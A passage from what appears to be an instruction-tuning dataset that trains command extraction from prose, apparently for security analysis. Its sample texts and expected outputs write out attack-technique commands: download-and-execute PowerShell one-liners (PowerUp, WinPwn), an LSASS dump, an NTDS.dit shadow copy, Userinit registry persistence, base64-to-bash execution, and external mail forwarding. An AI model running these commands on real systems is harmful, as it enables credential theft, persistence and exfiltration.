Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate network shares with WinPwn's shareenumeration function, use the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nshareenumeration -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nshareenumeration -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To dump the Active Directory database NTDS.dit from a remote workstation with domain admin privileges, create a Volume Shadow Copy using the following command:\nwmic /node:\"#{target_host}\" shadowcopy call create Volume=#{drive_letter}\n",
    "output": "{\"command_list\": [\"wmic /node:\\\"#{target_host}\\\" shadowcopy call create Volume=#{drive_letter}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A common technique for executing obfuscated shell scripts involves Base64 decoding, which can be performed with this command: \necho #{bash_encoded} | base64 -d | bash\necho #{dash_encoded} | base64 -d | bash\necho #{fish_encoded} | base64 -d | bash\necho #{sh_encoded} | base64 -d | bash\nThis method is referenced in both TrendMicro research and LinPEAS.",
    "output": "{\"command_list\": [\"echo #{bash_encoded} | base64 -d | bash\\necho #{dash_encoded} | base64 -d | bash\\necho #{fish_encoded} | base64 -d | bash\\necho #{sh_encoded} | base64 -d | bash\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Detection of virtualized environments is possible by running: if [ \"$(sysctl -n hw.hv_vendor)\" != \"\" ]; then echo \"Virtualization Environment detected\"; fi",
    "output": "{\"command_list\": [\"if [ \\\"$(sysctl -n hw.hv_vendor)\\\" != \\\"\\\" ]; then echo \\\"Virtualization Environment detected\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test appends a command to the Userinit registry value, which will execute calc.exe at startup, using the following PowerShell script: $oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \" #{payload}\";\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$newvalue\"",
    "output": "{\"command_list\": [\"$oldvalue = $(Get-ItemPropertyValue -Path  \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Userinit\\\");\\nSet-ItemProperty -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Userinit-backup\\\" -Value \\\"$oldvalue\\\";\\n$newvalue = $oldvalue + \\\" #{payload}\\\";\\nSet-ItemProperty -Path  \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Userinit\\\" -Value \\\"$newvalue\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify remote systems with file and print sharing enabled, use the following command sequence: net view /domain\nnet view\n",
    "output": "{\"command_list\": [\"net view /domain\\nnet view\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To generate an LSASS dump using the .NET createdump utility, run the following command: $exePath =  resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\n& \"$exePath\" -u -f $env:Temp\\dotnet-lsass.dmp (Get-Process lsass).id",
    "output": "{\"command_list\": [\"$exePath =  resolve-path \\\"$env:ProgramFiles\\\\dotnet\\\\shared\\\\Microsoft.NETCore.App\\\\5*\\\\createdump.exe\\\"\\n& \\\"$exePath\\\" -u -f $env:Temp\\\\dotnet-lsass.dmp (Get-Process lsass).id\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To set up email forwarding to an external recipient, you can use the following command sequence: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nNew-InboxRule -Name \"#{rule_name}\" -ForwardTo \"#{forwarding_email}\"\n",
    "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nNew-InboxRule -Name \\\"#{rule_name}\\\" -ForwardTo \\\"#{forwarding_email}\\\"\\n\"]}"
  },
  {
